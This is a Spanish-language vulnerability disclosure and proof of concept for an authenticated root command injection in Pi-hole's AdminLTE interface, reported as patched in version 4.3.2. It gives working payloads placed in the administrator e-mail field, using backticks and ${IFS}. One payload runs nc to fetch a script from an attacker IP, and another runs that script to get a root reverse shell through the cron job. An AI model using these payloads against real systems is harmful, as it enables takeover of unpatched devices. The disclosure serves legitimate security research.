
La versión 4.3.2 de Pi-Hole contiene un parche para esta vulnerabilidad: https://github.com/pi-hole/AdminLTE/pull/974
¡Un gran agradecimiento al equipo de desarrollo de Pi-Hole por su increíble proyecto y por hacer tan fácil reportar esta vulnerabilidad!
Es posible obtener acceso root de forma remota en el dispositivo RaspberyPi (o en cualquier dispositivo/VM donde se esté ejecutando la aplicación) a través de las vulnerabilidades descritas en el componente "AdminLTE". Para explotar esto se requiere acceso administrativo/credenciales a la interfaz web de AdminLTE.
En más detalle, es posible evadir las comprobaciones de expresiones regulares y contaminar el campo "Administrator E-mail Address" con comandos arbitrarios. Estos se almacenan a su vez en "/etc/pihole/setupVars.conf", que posteriormente son analizados y ejecutados con privilegios root desde el trabajo de cron.d de 10 minutos "/usr/local/bin/pihole updatechecker local".
Un atacante tiene que esperar al intervalo de 10 minutos del trabajo cron "/etc/cron.d/pihole" para la ejecución de comandos/código.
Con suerte, los siguientes detalles y el PoC ayudarán con su validación y reproducción del problema.
Una vez autenticado en la aplicación web, hay algunas validaciones del lado del servidor que un atacante necesita evadir para inyectar un comando con éxito.
En "savesettings.php" L:499, una variable controlada por el usuario "$adminemail" se evalúa contra la función interna de PHP FILTER_VALIDATE_EMAIL, cuyas comprobaciones son relativamente débiles.
Entonces es posible evadir esta comprobación de validación y demostrar la inyección de comandos simplemente encerrando un conjunto de comillas invertidas (backticks) entre comillas dobles; por ejemplo, introduciendo lo siguiente como correo electrónico del administrador:
"`test>/tmp/poc_proof.txt`"@example.com

En 10 minutos, se creará un archivo propiedad de root que contiene "test" en "/tmp/poc_proof.txt", con privilegios root.

Para llevar a cabo cualquier otro ataque significativo, también es necesario evadir la limitación de los espacios en blanco (que no son caracteres válidos en un correo electrónico y son detectados por la función FILTER_VALIDATE_EMAIL). Para ello se utilizó la variable interna de Linux ${IFS} (que por defecto equivale a un espacio en blanco en la mayoría de los sistemas operativos Unix).
PoC:
*Nota: esto podría automatizarse con una línea usando la gramática de shell POSIX, es decir, &&, || ...
nc -nvlp 4444 < revshell.py
"`nc${IFS}192.168.1.69${IFS}4444>/tmp/revshell.py`"@example.com

La petición HTTP tendrá este aspecto cuando se examine con un proxy HTTP:

Espera 10 minutos a que se ejecute el trabajo cron y recoja el script o, para fines de reproducción, ejecuta manualmente /usr/local/bin/pihole updatechecker local. También puedes validar el comando inyectado que reside en "/etc/pihole/setupVars.conf" (asignado a la variable ADMIN_EMAIL).
nc -nvlp 4445
“`python${IFS}/tmp/revshell.py`”@example.com
Una vez más, espera 10 minutos (o ejecuta el script cron manualmente para fines de reproducción del problema) y obtendrás una shell root en tu máquina atacante.
